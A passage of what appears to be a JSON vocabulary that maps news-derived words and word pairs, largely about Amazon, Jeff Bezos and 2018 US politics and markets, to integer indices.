doj": 222043, "senate majority": 222044, "war brewing": 222045, "quickly shifted": 222046, "developing country": 222047, "000 high": 222048, "carpets": 222049, "canadian prime": 222050, "negative force": 222051, "british comedy": 222052, "duped dewey": 222053, "morning superintendent": 222054, "slash guns": 222055, "newspaper editor": 222056, "owners separated": 222057, "directors linkedin": 222058, "source": 222059, "core applications": 222060, "programming": 222061, "cool melissa": 222062, "nanosecond": 222063, "discharges inside": 222064, "fla": 222065, "investigative fellow": 222066, "malls retail": 222067, "kingdom sent": 222068, "nordstrom jwn": 222069, "profits monopoly": 222070, "newspaper michael": 222071, "hunt read": 222072, "mail tended": 222073, "clashes": 222074, "supposedly stingy": 222075, "day ideally": 222076, "corporate world": 222077, "huge seizure": 222078, "b2c": 222079, "wikipedia page": 222080, "ownership pecker": 222081, "free charles": 222082, "previously reported": 222083, "company cash": 222084, "loopholes according": 222085, "company immensely": 222086, "indianapolis read": 222087, "fourteen twitter": 222088, "guidelines": 222089, "privacy": 222090, "world wildlife": 222091, "hideaways": 222092, "rope": 222093, "global journey": 222094, "news poll": 222095, "government pressure": 222096, "death certificate": 222097, "voice award": 222098, "930": 222099, "seattle area": 222100, "persuaded": 222101, "payday lender": 222102, "kushal nahata": 222103, "act lowered": 222104, "need change": 222105, "faced similar": 222106, "total bias": 222107, "provisions including": 222108, "mind imageurl": 222109, "company says": 222110, "care venture": 222111, "877 836": 222112, "immigrant disaster": 222113, "studiously ignores": 222114, "type hinting": 222115, "stock": 222116, "read faang": 222117, "entirely factual": 222118, "story drugmakers": 222119, "president ronald": 222120, "teacher nurse": 222121, "called kidman": 222122, "household income": 222123, "amortization expense": 222124, "advicesaying": 222125, "republicans assaults": 222126, "scandal online": 222127, "internet economy": 222128, "crazy whowould": 222129, "rung communicated": 222130, "associate administrator": 222131, "clone": 222132, "warnermedia": 222133, "comparison site": 222134, "management policy": 222135, "aisle putting": 222136, "aws provided": 222137, "leviathan": 222138, "million daca": 222139, "expectation": 222140, "2010 2014elections": 222141, "luxury pen": 222142, "180 katsu": 222143, "channels including": 222144, "thinks companies": 222145, "lose sight": 222146, "boycottamazon": 222147, "george washington": 222148, "russians learn": 222149, "financial boon": 222150, "owners staff": 222151, "swing house": 222152, "exposed michael": 222153, "campaign according": 222154, "referendum proposal": 222155, "america trump": 222156, "dear america": 222157, "rudimentary brain": 222158, "accountability measures": 222159, "past officials": 222160, "atlantic website": 222161, "profound role": 222162, "leonid": 222163, "recorded 100": 222164, "poems": 222165, "mea": 222166, "trigiani": 222167, "separate brands": 222168, "beijing based": 222169, "shares jump": 222170, "republicanism hot": 222171, "flogged": 222172, "primarily uses": 222173, "dems plan": 222174, "party celebrating": 222175, "deluxe": 222176, "new split": 222177, "democracy requires": 222178, "scourge": 222179, "story amazon": 222180, "cryptic messages": 222181, "maker ari": 222182, "certain workloads": 222183, "shipments utilizing": 222184, "examinations": 222185, "000 fully": 222186, "texas midterms": 222187, "traders decided": 222188, "amazon headquarters": 222189, "footage group": 222190, "outstanding reporting": 222191, "development teams": 222192, "successfully landing": 222193, "self insured": 222194, "children holocaust": 222195, "tedious": 222196, "releasing 000": 222197, "reputation amazon": 222198, "distant memory": 222199, "ool": 222200, "venezuela crisis": 222201, "grudge holder": 222202, "ami claim": 222203, "1152et": 222204, "internet tax": 222205, "jack whitehall": 222206, "biettetimmons": 222207, "issues cropping": 222208, "children north": 222209, "greenland iceberg": 222210, "oecd organization": 222211, "confidence": 222212, "wide": 222213, "opioid overdose": 222214, "employees number": 222215, "2005 reverse": 222216, "quickly mobilized": 222217, "passes new": 222218, "course converting": 222219, "abramowitz told": 222220, "grief frank": 222221, "year hiatus": 222222, "infidelity": 222223, "plattsburgh": 222224, "northfield": 222225, "avoid government": 222226, "milk street": 222227, "scientists lsd": 222228, "advisor explains": 222229, "forces policies": 222230, "long opioid": 222231, "uniforms fueling": 222232, "local issues": 222233, "wife did": 222234, "suffer pompeo": 222235, "various unspecified": 222236, "ryan gop": 222237, "life assurance": 222238, "brief explanation": 222239, "0x734 uploaded_files": 222240, "doesn believe": 222241, "tracker poll": 222242, "immediate expensing": 222243, "brandemonium conference": 222244, "right tweaks": 222245, "randomly joke": 222246, "montreal canada": 222247, "crude": 222248, "adore": 222249, "keywords impeach": 222250, "competition fair": 222251, "twitter abuse": 222252, "stage discussions": 222253, "article small": 222254, "prevented": 222255, "kaitlan collins": 222256, "maricopa county": 222257, "writes cjr": 222258, "amazon officials": 222259, "obama campaigns": 222260, "begun initiatives": 222261, "store 800": 222262, "sure michael": 222263, "appreciating books": 222264, "t0 try": 222265, "developments signify": 222266, "fedex ground": 222267, "reveal exactly": 222268, "advocacy arm": 222269, "stop calling": 222270, "request showing": 222271, "sun sentinel": 222272, "journalist jonah": 222273, "hiding": 222274, "saudi royal": 222275, "talks incredibles": 222276, "open seats": 222277, "profits instead": 222278, "carbon netflix": 222279, "forbesimg": 222280, "limits": 222281, "equal headquarters": 222282, "easter road": 222283, "season debuted": 222284, "india business": 222285, "towel": 222286, "provide desantis": 222287, "trump kissing": 222288, "threatened": 222289, "firm new": 222290, "world fair": 222291, "great documentaries": 222292, "underway check": 222293, "later rejected": 222294, "rich popular": 222295, "air announced": 222296, "flipboard view": 222297, "schedule things": 222298, "swenson": 222299, "relations egypt": 222300, "chairman comments": 222301, "running stores": 222302, "daly briandalynj": 222303, "twitter utm_content": 222304, "says citi": 222305, "grab bag": 222306, "wrote billionaires": 222307, "sanders remarks": 222308, "democratic colleague": 222309, "qualcomm": 222310, "market coverage": 222311, "component parts": 222312, "oilpatch interests": 222313, "insight increasing": 222314, "death girl": 222315, "rosenworcel": 222316, "commerce new": 222317, "reflected": 222318, "russia collusion": 222319, "delivery customers": 222320, "know fully": 222321, "immature": 222322, "worlds richest": 222323, "products distributing": 222324, "rahm": 222325, "sarcastically referred": 222326, "million direct": 222327, "beat estimates": 222328, "parody halloween": 222329, "afp": 222330, "tariffs alcoa": 222331, "overhaul lowered": 222332, "unattainable picture": 222333, "flight later": 222334, "arlington virginia": 222335, "risks associated": 222336, "sorting": 222337, "internet age": 222338, "provide facial": 222339, "trumpy": 222340, "m81dr1kbgl bob": 222341, "game warren": 222342, "streaming helping": 222343, "best work": 222344, "disputes bite": 222345, "abuelas": 222346, "concentrate": 222347, "caption hide": 222348, "political opponents": 222349, "profit": 222350, "endless grift": 222351, "v1": 222352, "endeared": 222353, "amazon makes": 222354, "television network": 222355, "clients track": 222356, "headquarters sites": 222357, "individual cnn": 222358, "underestimate kroger": 222359, "federal mechanical": 222360, "book says": 222361, "travelersa": 222362, "fiercest opponents": 222363, "atwater newly": 222364, "profitthe usps": 222365, "symbolism": 222366, "motives citing": 222367, "buffett dumps": 222368, "mushrooming": 222369, "membership benefits": 222370, "result making": 222371, "clog sf": 222372, "defraud doctors": 222373, "multiyear": 222374, "savage critic": 222375, "sheer concern": 222376, "snl posits": 222377, "senior macro": 222378, "insensitive costumes": 222379, "knowing exactly": 222380, "planned hq2": 222381, "r4ee var": 222382, "raw": 222383, "build helicopter": 222384, "eu": 222385, "243 pounds": 222386, "deborah eisenberg": 222387, "reposted": 222388, "service spokesman": 222389, "superstorm": 222390, "j9x": 222391, "alleged russian": 222392, "friends enquirer": 222393, "abc venezuela": 222394, "oligarch jeffbezos": 222395, "mocking tweets": 222396, "phone hacked": 222397, "year bought": 222398, "turtle camera": 222399, "man named": 222400, "epic battle": 222401, "spotted zebra": 222402, "gonna stick": 222403, "carrier partners": 222404, "immediate role": 222405, "tracked": 222406, "need snap": 222407, "disasters 2018": 222408, "doubled wall": 222409, "autotrader dealer": 222410, "portfolio karp": 222411, "global populist": 222412, "manhunt dna": 222413, "disagreed internally": 222414, "extort": 222415, "key regulatory": 222416, "federal tax": 222417, "hurt agricultural": 222418, "wrote daniel": 222419, "uber geekwire": 222420, "greenfield tweeted": 222421, "ryanpoe read": 222422, "bit anticlimactic": 222423, "bad mamma": 222424, "3m month": 222425, "domo": 222426, "upcoming economic": 222427, "seed money": 222428, "business buying": 222429, "reportedly chasing": 222430, "thrones videocmsurl": 222431, "trust principles": 222432, "big global": 222433, "corporations paid": 222434, "serve alongside": 222435, "cmcsa nyse": 222436, "publicly listed": 222437, "sure google": 222438, "minneapolis": 222439, "112 points": 222440, "economy improving": 222441, "major rift": 222442, "atlantic robinson": 222443, "mutant ninja": 222444, "amazons hq2": 222445, "indiana frederick": 222446, "news author": 222447, "hand given": 222448, "deal bezos": 222449, "apple valuation": 222450, "tagged demographics": 222451, "drift": 222452, "flood 2018": 222453, "slowdown mount": 222454, "exporting": 222455, "barnes noble": 222456, "wages trump": 222457, "books feast": 222458, "bigger ticket": 222459, "press georgetown": 222460, "manama": 222461, "cut european": 222462, "critics hillicon": 222463, "safety partner": 222464, "shielded": 222465, "moessinger robinson": 222466, "robust response": 222467, "event drew": 222468, "rappler news": 222469, "amazon 4th": 222470, "target susquehanna": 222471, "plurality evidence": 222472, "territory amazon": 222473, "vegas raiders": 222474, "trumps scuttle": 222475, "humans know": 222476, "lasts forever": 222477, "inflatable dinghy": 222478, "killing obamacare": 222479, "woodward checking": 222480, "militia fighters": 222481, "years later_30": 222482, "replacing andrew": 222483, "environment makes": 222484, "boss told": 222485, "surtax": 222486, "higher rate": 222487, "published tweet": 222488, "government shutdown": 222489, "build facility": 222490, "quietly dating": 222491, "schreurs soybean": 222492, "reported solid": 222493, "council director": 222494, "verge colin": 222495, "lawsuit succeeds": 222496, "right roles": 222497, "started sending": 222498, "win recount": 222499, "month 127": 222500, "electronic arts": 222501, "concluded goldberg": 222502, "governor cuomo": 222503, "inc_feature_image_override": 222504, "pro works": 222505, "product seo": 222506, "acre ranch": 222507, "accouterments admittedly": 222508, "keeping viewers": 222509, "facebook share": 222510, "owners build": 222511, "called commerce": 222512, "casper": 222513, "chose tennessee": 222514, "proceedings resulted": 222515, "recipient lobbyists": 222516, "treasury auctions": 222517, "mcnally": 222518, "revive eu": 222519, "reserved disclaimer": 222520, "global attention": 222521, "rodale": 222522, "paul murphy": 222523, "insatiable": 222524, "soros dropped": 222525, "fake accounts": 222526, "narrow segment": 222527, "torres agriculture": 222528, "testifies": 222529, "houses amazon": 222530, "lowlifes": 222531, "justify valuation": 222532, "divorce recently": 222533, "performance partly": 222534, "sidewalk labs": 222535, "insider australia": 222536, "embolden residents": 222537, "fau": 222538, "cord cutting": 222539, "quietly announces": 222540, "scaling": 222541, "framewidth 100": 222542, "tooembarrassed recode": 222543, "taxincentives": 222544, "especially urged": 222545, "company image": 222546, "package brian": 222547, "increase military": 222548, "investing advisor": 222549, "nissim": 222550, "topossibly invoke": 222551, "firm reiterated": 222552, "uncover talent": 222553, "late career": 222554, "outside world": 222555, "hampshire": 222556, "255 million": 222557, "212 000": 222558, "story intel": 222559, "inauguration crowd": 222560, "smart": 222561, "landed movie": 222562, "analysts remain": 222563, "making good": 222564, "tesla": 222565, "hit 3000": 222566, "lawyer michal": 222567, "safeguarded": 222568, "gianaris hosted": 222569, "kreme today": 222570, "blamed suu": 222571, "offered shirts": 222572, "value proposition": 222573, "hostile tweets": 222574, "year peter": 222575, "gay": 222576, "company engages": 222577, "warren file": 222578, "little competition": 222579, "soldiers stationed": 222580, "country sign": 222581, "brands european": 222582, "firm tens": 222583, "pickpocket": 222584, "conocophillips": 222585, "goods fulfillment": 222586, "built 800": 222587, "guiana": 222588, "apparently fist": 222589, "know thank": 222590, "bids 234": 222591, "owns zappos": 222592, "plan": 222593, "horn nyt": 222594, "elections republicans": 222595, "space just": 222596, "russia vladimir": 222597, "affected communities": 222598, "braun reported": 222599, "accessible healthcare": 222600, "mississippi rally": 222601, "beguiled": 222602, "tower project": 222603, "cites": 222604, "maryland independent": 222605, "health says": 222606, "crc deputy": 222607, "2008 housing": 222608, "ideally": 222609, "murray wa": 222610, "making calculated": 222611, "competition remit": 222612, "led republicans": 222613, "declaration posted": 222614, "analysis shows": 222615, "virginia fulfillment": 222616, "particularly vulnerable": 222617, "street white": 222618, "1700et": 222619, "wasn making": 222620, "hard time": 222621, "steyer posts": 222622, "bought revealing": 222623, "us1 800": 222624, "problem says": 222625, "iankullgren": 222626, "doorstep": 222627, "picks prime": 222628, "prompted coalition": 222629, "summit australia": 222630, "virtually conservatives": 222631, "trump destined": 222632, "quietly built": 222633, "bureaucrat": 222634, "order": 222635, "topping trillion": 222636, "calling bezos": 222637, "jaffe": 222638, "curated jonerpnewsfeed": 222639, "million obama": 222640, "farmed": 222641, "regional management": 222642, "iconic brands": 222643, "personal gain": 222644, "trump effect": 222645, "transition seeking": 222646, "particularly rates": 222647, "month crusader": 222648, "preaching": 222649, "chito": 222650, "currentvideocollection getnextvideoindex": 222651, "png": 222652, "techs app": 222653, "peter navarro": 222654, "pgtype": 222655, "sworn enemy": 222656, "president bolduan": 222657, "unintended": 222658, "ferdinando": 222659, "morning bezos": 222660, "interviewed": 222661, "geekwire frank": 222662, "885 words": 222663, "criticism including": 222664, "timetable": 222665, "school hires": 222666, "bezos participate": 222667, "130k": 222668, "contemplates": 222669, "writer mike": 222670, "ro khannaelection": 222671, "clip showing": 222672, "fart": 222673, "redirected": 222674, "amzn callahan": 222675, "plaats": 222676, "photo saudi": 222677, "talks financial": 222678, "trying alipay": 222679, "told mt": 222680, "state courts": 222681, "folly": 222682, "way think": 222683, "comedic actor": 222684, "chair following": 222685, "incorporated otcmkts": 222686, "lightbot programming": 222687, "rude letters": 222688, "week singer": 222689, "service charge": 222690, "steven giovangelo": 222691, "mind set": 222692, "kilometer": 222693, "channeling": 222694, "appease corn": 222695, "app memorizes": 222696, "rand": 222697, "homes built": 222698, "want palmer": 222699, "showdown new": 222700, "multicarrier strategy": 222701, "attend jeff": 222702, "contf": 222703, "hacked baby": 222704, "claimed falsely": 222705, "retirement thank": 222706, "trump instruct": 222707, "original": 222708, "amazon platforms": 222709, "wjlpcbis8u deplorable": 222710, "fdic": 222711, "bowl mark": 222712, "videocardcontents showurl": 222713, "seller margins": 222714, "california protests": 222715, "backing gop": 222716, "fair value": 222717, "press continue": 222718, "popular open": 222719, "fostering ad": 222720, "riotous": 222721, "margin reversing": 222722, "straight": 222723, "amazon scrapped": 222724, "corruption tossed": 222725, "seen racy": 222726, "inaccurate tweets": 222727, "binetti noted": 222728, "discounts right": 222729, "state hillary": 222730, "implausible increase": 222731, "abortion alves": 222732, "committees set": 222733, "beauty talk": 222734, "tue": 222735, "products makers": 222736, "img_custom_credit null": 222737, "worldwide lizzie": 222738, "gerry connolly": 222739, "misguided followers": 222740, "year battle": 222741, "cola energy": 222742, "business sources": 222743, "commerce unit": 222744, "schedule brennan": 222745, "city geekwire": 222746, "agarwal": 222747, "wrinkles read": 222748, "turkey lira": 222749, "skorea": 222750, "referencing separate": 222751, "sales forecast": 222752, "att": 222753, "cargo market": 222754, "nationalist drove": 222755, "government keeping": 222756, "history ali": 222757, "exchange advice": 222758, "nerdwallet thanks": 222759, "row filled": 222760, "fang amzn": 222761, "biotechnology ceo": 222762, "stream minding": 222763, "financial statement": 222764, "big sick": 222765, "trillion told": 222766, "date map": 222767, "business centers": 222768, "company alphabet": 222769, "baek": 222770, "legislates": 222771, "8217 8220": 222772, "person standing": 222773, "patent fight": 222774, "change people": 222775, "subcontracting": 222776, "arena health": 222777, "political influences": 222778, "howes percival": 222779, "pleaded anew": 222780, "oracle favor": 222781, "retirement generous": 222782, "tabloid threat": 222783, "recruit lester": 222784, "simmons leadership": 222785, "crispy": 222786, "county health": 222787, "sessions talks": 222788, "taylor soper": 222789, "says chose": 222790, "paid firms": 222791, "maestro": 222792, "1918 small": 222793, "fewer workers": 222794, "showurl": 222795, "decent cast": 222796, "trust clinches": 222797, "stumbling blocks": 222798, "scholarship mba": 222799, "noc": 222800, "national rape": 222801, "helsinki putin": 222802, "568 852": 222803, "grow health": 222804, "published books": 222805, "lewinksy currently": 222806, "pelosi says": 222807, "club dinner": 222808, "media nsa": 222809, "channelarray": 222810, "higher accuracy": 222811, "assembled industry": 222812, "product launches": 222813, "companies achieve": 222814, "item according": 222815, "indiatimes ninemsn": 222816, "ryan cast": 222817, "research evidence": 222818, "1750 bought": 222819, "muteplayerenabled cnn": 222820, "matthew dresden": 222821, "old exec": 222822, "clinton refused": 222823, "quarter expenditures": 222824, "70s": 222825, "giant tencent": 222826, "coming days": 222827, "shoppers feat": 222828, "adeft capital": 222829, "basketball tournament": 222830, "psychological family": 222831, "978": 222832, "journal broke": 222833, "bu": 222834, "post announces": 222835, "dominance alleging": 222836, "companies say": 222837, "technological innovation": 222838, "recently google": 222839, "paid race": 222840, "approved trademarks": 222841, "bore house": 222842, "shares soar": 222843, "2020 spain": 222844, "1021380986452545537 exploring": 222845, "wealthy real": 222846, "hostile foreign": 222847, "republican lawmaker": 222848, "robbinsville": 222849, "profit halliburton": 222850, "technology firms": 222851, "swelling carbon": 222852, "early years": 222853, "giants won": 222854, "weaver staff": 222855, "2016 david": 222856, "van jones": 222857, "theoretically help": 222858, "hands vanity": 222859, "layery": 222860, "thefbi": 222861, "wedding": 222862, "shoes racked": 222863, "blowback internally": 222864, "nuclear arms": 222865, "partisan reasons": 222866, "federal aviation": 222867, "wringing": 222868, "justin bieber": 222869, "classify text": 222870, "discover colloidal": 222871, "select markets": 222872, "agreement lasts": 222873, "shoppers took": 222874, "americans expect": 222875, "cms inc228693": 222876, "pump 350": 222877, "925 000": 222878, "tempered think": 222879, "disclosing bezos": 222880, "imessage": 222881, "kyle swenson": 222882, "small angry": 222883, "065 shares": 222884, "file criminal": 222885, "journal recently": 222886, "property values": 222887, "run authority": 222888, "hysterical screaming": 222889, "nyc deal": 222890, "populations refugee": 222891, "wing government": 222892, "rochfort rounded": 222893, "deal replacing": 222894, "documented earlier": 222895, "insider earlier": 222896, "positive rating": 222897, "including chief": 222898, "syria quickly": 222899, "modifications": 222900, "commercial advantage": 222901, "waist using": 222902, "deportation agenda": 222903, "warner subsidiary": 222904, "0943et copyright": 222905, "xpo capabilities": 222906, "flake want": 222907, "ongoing talks": 222908, "inc_show_feature_imageflag true": 222909, "position": 222910, "sheer": 222911, "402nd infantry": 222912, "entry nearly": 222913, "venom starring": 222914, "shaub wrote": 222915, "car radio": 222916, "devices carrying": 222917, "research director": 222918, "mma": 222919, "officiated": 222920, "notorious border": 222921, "entourage feel": 222922, "year eu": 222923, "organizers": 222924, "airlines according": 222925, "cause ripple": 222926, "story trade": 222927, "future homes": 222928, "remains standing": 222929, "guidance girls": 222930, "veteran mayor": 222931, "aapl rise": 222932, "real economic": 222933, "summer working": 222934, "shares investors": 222935, "unexpected gain": 222936, "growth better": 222937, "yen million": 222938, "flavors based": 222939, "barnett chairman": 222940, "provide safe": 222941, "asleep forever": 222942, "wooed": 222943, "life mashup": 222944, "important according": 222945, "people fly": 222946, "assault resulting": 222947, "skeptics worried": 222948, "plane crashed": 222949, "sufficient oversight": 222950, "787 circling": 222951, "crowd gathered": 222952, "political make": 222953, "revenue generator": 222954, "billionaire long": 222955, "rules companies": 222956, "holistic solution": 222957, "growth key": 222958, "butts rocco": 222959, "virginia magazine": 222960, "analysts speculate": 222961, "dwayne": 222962, "converses": 222963, "corp intc": 222964, "asked postmaster": 222965, "bond singer": 222966, "ramesh ponnuru": 222967, "lawsuit worked": 222968, "margin impact": 222969, "toni": 222970, "sabrina premieres": 222971, "oversight hearings": 222972, "mercosur": 222973, "clothes dog": 222974, "2020 recently": 222975, "including extended": 222976, "imitations selling": 222977, "won reopen": 222978, "sen mark": 222979, "relief coinciding": 222980, "disseminating platforms": 222981, "sam nunberg": 222982, "lapidus": 222983, "unceasing stream": 222984, "fears amazon": 222985, "million things": 222986, "totalitarian": 222987, "version treasury": 222988, "deadlocked": 222989, "fbi edgar": 222990, "mockingbird dale": 222991, "schultz explains": 222992, "policy according": 222993, "colour": 222994, "nation nafta": 222995, "press attention": 222996, "cost conundrum": 222997, "incendiary tweets": 222998, "risk president": 222999, "specialty drug": 223000, "contents prepared": 223001, "understates": 223002, "year reuters": 223003, "performing tech": 223004, "tech roles": 223005, "deloitte": 223006, "daisy": 223007, "wireless equivalents": 223008, "libel": 223009, "abroad new": 223010, "brett arends": 223011, "mudede": 223012, "cash laying": 223013, "electoral success": 223014, "amazon split": 223015, "740": 223016, "important economy": 223017, "2017 bolsonaro": 223018, "bypass city": 223019, "stocks says": 223020, "key political": 223021, "white shark": 223022, "whitaker left": 223023, "taken billions": 223024, "heinzls model": 223025, "untied": 223026, "defence services": 223027, "trump heard": 223028, "apple announced": 223029, "protectionism": 223030, "quarter valicenti": 223031, "idiot woodward": 223032, "driving force": 223033, "cross partisan": 223034, "contributions leapt": 223035, "supplying s\u00e3o": 223036, "institutions companies": 223037, "officials turned": 223038, "electifying": 223039, "deal weather": 223040, "felony domestic": 223041, "cramping": 223042, "house utilizing": 223043, "service station": 223044, "brazilian minister": 223045, "amazon literally": 223046, "toca lab": 223047, "customary": 223048, "post questioning": 223049, "code names": 223050, "tg387": 223051, "aspen security": 223052, "freshman delegate": 223053, "subsidizing multi": 223054, "remote": 223055, "markit": 223056, "dinner stars": 223057, "officials organized": 223058, "cohen trump": 223059, "2033 overall": 223060, "creating policies": 223061, "national holiday": 223062, "bayside fresh": 223063, "bloomberg rounded": 223064, "dumps new": 223065, "biggest companies": 223066, "party leadership": 223067, "ibd newsletters": 223068, "related finally": 223069, "small stable": 223070, "terrified": 223071, "privacy laws": 223072, "amazon maryland": 223073, "preventing customers": 223074, "hotel hideaways": 223075, "stapleton apple": 223076, "reportedly expanded": 223077, "dishwasher safe": 223078, "discredit": 223079, "post editors": 223080, "foxconn term": 223081, "jobs jobs": 223082, "ami actions": 223083, "satanic": 223084, "supplies additionally": 223085, "lowered guidance": 223086, "headquarterless 8221": 223087, "berkrot": 223088, "scale jeff": 223089, "eu japan": 223090, "experience suicidal": 223091, "politicians play": 223092, "fervently hopes": 223093, "read sack": 223094, "unlikely role": 223095, "help don": 223096, "today sessions": 223097, "workers inside": 223098, "reaching low": 223099, "testimonial amazon": 223100, "i6": 223101, "teenagers posing": 223102, "trump hacked": 223103, "51554473329 citing": 223104, "possibly later": 223105, "paper vc": 223106, "disagree parents": 223107, "commercializing": 223108, "hover": 223109, "qualifications": 223110, "vendors cross": 223111, "critic named": 223112, "obrador wrote": 223113, "tabloid story": 223114, "chef flynn": 223115, "analyzing visual": 223116, "new board": 223117, "wildfires devastate": 223118, "uses complex": 223119, "manhattan trump": 223120, "amazon reflects": 223121, "000 shares": 223122, "partial building": 223123, "manageable items": 223124, "editorial brass": 223125, "making bezos": 223126, "access related": 223127, "morning markets": 223128, "media push": 223129, "institute new": 223130, "sent encana": 223131, "self esteem": 223132, "hooked": 223133, "1965": 223134, "heavy discounts": 223135, "seemingly alluding": 223136, "bargain prices": 223137, "lands protects": 223138, "discount 2018": 223139, "companies right": 223140, "gas masks": 223141, "exploratory work": 223142, "make working": 223143, "mussel population": 223144, "1019644666608803840": 223145, "articles 2018": 223146, "win shocking": 223147, "buy smartphone": 223148, "iran matteo": 223149, "raises questions": 223150, "benito mussolini": 223151, "261": 223152, "firing": 223153, "mayor michael": 223154, "ritholtz republicans": 223155, "york waves": 223156, "inclination": 223157, "goods manufacturers": 223158, "detergent": 223159, "senior health": 223160, "industry average": 223161, "dollar defense": 223162, "board commission": 223163, "tesla china": 223164, "commercial really": 223165, "doug melamed": 223166, "desperate migrants": 223167, "broadband": 223168, "identical shirts": 223169, "shares briefly": 223170, "2018 usually": 223171, "beautiful music": 223172, "contract uber": 223173, "bound mammals": 223174, "geopolitics make": 223175, "retire millionaire": 223176, "news prioritized": 223177, "pictures don": 223178, "ga": 223179, "forested areas": 223180, "flotilla": 223181, "disarmament malaysian": 223182, "letters theatlantic": 223183, "commit crimes": 223184, "vn 050": 223185, "pushed postal": 223186, "minter": 223187, "company outlining": 223188, "won shop": 223189, "political apparel": 223190, "bezos matter": 223191, "haspel": 223192, "171 amazon": 223193, "cnr": 223194, "tariffs amazon": 223195, "organised": 223196, "certainly elevate": 223197, "hijacking empire": 223198, "day basis": 223199, "act stephen": 223200, "z4a 2139393959": 223201, "information pointing": 223202, "student suing": 223203, "emails allegedly": 223204, "hype overload": 223205, "marshalls tj": 223206, "electronic lcd": 223207, "degree heat": 223208, "proposing sweeping": 223209, "spokesperson elissa": 223210, "amazon claimed": 223211, "eliminates bonuses": 223212, "available products": 223213, "flash point": 223214, "later reversed": 223215, "ago fun": 223216, "oneplus officially": 223217, "michael hartnett": 223218, "prevent online": 223219, "putin invites": 223220, "prison sentences": 223221, "provide plethora": 223222, "public comments": 223223, "surprisingly small": 223224, "drive segment": 223225, "conservative lightfoot": 223226, "dead elite": 223227, "crashes just": 223228, "conspiratorial person": 223229, "tory read": 223230, "record yields": 223231, "embargo": 223232, "good speech": 223233, "products americans": 223234, "rooney": 223235, "chiefs brennan": 223236, "rep jaime": 223237, "crucial fact": 223238, "sector valued": 223239, "estranged couple": 223240, "114": 223241, "firmament": 223242, "fotolia": 223243, "rohrwacher": 223244, "concerns today": 223245, "vaccines amazon": 223246, "alleged discriminatory": 223247, "exaggeration": 223248, "cortez celebrates": 223249, "iranians chanted": 223250, "robert reich": 223251, "financialization": 223252, "amazon executives": 223253, "kun": 223254, "amazon tld": 223255, "administration effort": 223256, "significantly harms": 223257, "theoretical": 223258, "rising star": 223259, "increases specifically": 223260, "king street": 223261, "omb rung": 223262, "etfs facebook": 223263, "pay increase": 223264, "1p seller": 223265, "macy post": 223266, "billion nz": 223267, "victory embed": 223268, "post relationship": 223269, "dont": 223270, "tech innovations": 223271, "key thing": 223272, "total confidence": 223273, "lower taxed": 223274, "unless officials": 223275, "primary nemesis": 223276, "wouldn recoup": 223277, "faces lengthy": 223278, "booted": 223279, "sanchez wouldn": 223280, "pro life": 223281, "jacket debuted": 223282, "incurring major": 223283, "democrats pick": 223284, "laurie levenson": 223285, "leaders led": 223286, "stridently": 223287, "owner ties": 223288, "smile charitable": 223289, "crime": 223290, "newsagency": 223291, "merger comcast": 223292, "vibrant": 223293, "house republican": 223294, "credit washington": 223295, "modern family": 223296, "sex scene": 223297, "politically trump": 223298, "underground subculture": 223299, "county sheriffs": 223300, "beijing grapples": 223301, "bold": 223302, "currency manipulation": 223303, "marianne": 223304, "180928150901": 223305, "newspaper aggressive": 223306, "mchugh tells": 223307, "relax": 223308, "european security": 223309, "administrations alike": 223310, "time pulitzer": 223311, "zellnor myrie": 223312, "marked rare": 223313, "0cbed4decce7": 223314, "started sustainability": 223315, "francisco amazon": 223316, "action including": 223317, "bezos blackmail": 223318, "eastern gulf": 223319, "jair bolsonaro": 223320, "tommie": 223321, "saying companies": 223322, "stewing": 223323, "pollster john": 223324, "ballard main": 223325, "fda juul": 223326, "cairo": 223327, "beijing decision": 223328, "r4ee v4e": 223329, "mccain shown": 223330, "analysts doubt": 223331, "place sounds": 223332, "amazon getty": 223333, "epettersson bloomberg": 223334, "technologist": 223335, "business settings": 223336, "anonymous 4chan": 223337, "fundamental pillars": 223338, "flung": 223339, "ubhi drafted": 223340, "takes stand": 223341, "pigeon meme": 223342, "moody turned": 223343, "day nick": 223344, "article according": 223345, "humidity produced": 223346, "make money": 223347, "antitrust competition": 223348, "treats forever": 223349, "shipments coming": 223350, "clearly couldn": 223351, "ludicrous": 223352, "court won": 223353, "value looted": 223354, "etf tr": 223355, "cheapskates hired": 223356, "result growth": 223357, "brief summary": 223358, "measure 2018": 223359, "memo instructing": 223360, "cream canisters": 223361, "435 seats": 223362, "slamming manufacturing": 223363, "aug amazon": 223364, "origin foundation": 223365, "blackmail recalcitrant": 223366, "squawker org": 223367, "requesting rate": 223368, "miracles": 223369, "cab": 223370, "class taxpayers": 223371, "democratic divide": 223372, "freedom award": 223373, "nixes fuel": 223374, "news chris": 223375, "collateral": 223376, "increase membership": 223377, "sets standards": 223378, "conspiracy theories": 223379, "numbers showing": 223380, "terse": 223381, "deliver thrilling": 223382, "forms allowing": 223383, "fuel suspicion": 223384, "clinton tony": 223385, "attracted product": 223386, "good natured": 223387, "nyc ferry": 223388, "carries unmistakable": 223389, "sans": 223390, "stranded robots": 223391, "issue saying": 223392, "wife announced": 223393, "michael manley": 223394, "smerconish asked": 223395, "usps average": 223396, "included federal": 223397, "ahead unless": 223398, "anticounterfeiting coalition": 223399, "small hit": 223400, "involved billions": 223401, "a4ee d1": 223402, "opting": 223403, "gap close": 223404, "slow recovery": 223405, "iduskbn1k6278 source": 223406, "potential new": 223407, "facing harsh": 223408, "alleged faults": 223409, "exhibit": 223410, "oyinkan": 223411, "opinion research": 223412, "exact revenge": 223413, "trust advocates": 223414, "fat tax": 223415, "walnut hulls": 223416, "topic monopoly": 223417, "multi millions": 223418, "tells lewis": 223419, "icymi china": 223420, "revenue relationships": 223421, "originations": 223422, "hit campaign": 223423, "lure thousands": 223424, "sector falling": 223425, "teeth feel": 223426, "fellow covering": 223427, "udland": 223428, "sanchez wrote": 223429, "charter schools": 223430, "recruited": 223431, "clip shows": 223432, "kavanaugh unseated": 223433, "womack": 223434, "ruthless autofiction": 223435, "egyptian exiles": 223436, "management consultancy": 223437, "402nd": 223438, "king subway": 223439, "owen college": 223440, "picture ibm": 223441, "reinvented": 223442, "worrisome precedents": 223443, "approximately 100": 223444, "monopoly company": 223445, "case specifically": 223446, "stayed steady": 223447, "current employee": 223448, "edf": 223449, "titanic washington": 223450, "trump specific": 223451, "town meets": 223452, "stephanopoulos fired": 223453, "class families": 223454, "path read": 223455, "return h6a": 223456, "text woolfolk": 223457, "woodbridge": 223458, "snarky thrill": 223459, "docu series": 223460, "misinformed fear": 223461, "spotlight amid": 223462, "bag briefcase": 223463, "warmest": 223464, "index follow": 223465, "wealthy individuals": 223466, "supported liberal": 223467, "n2x": 223468, 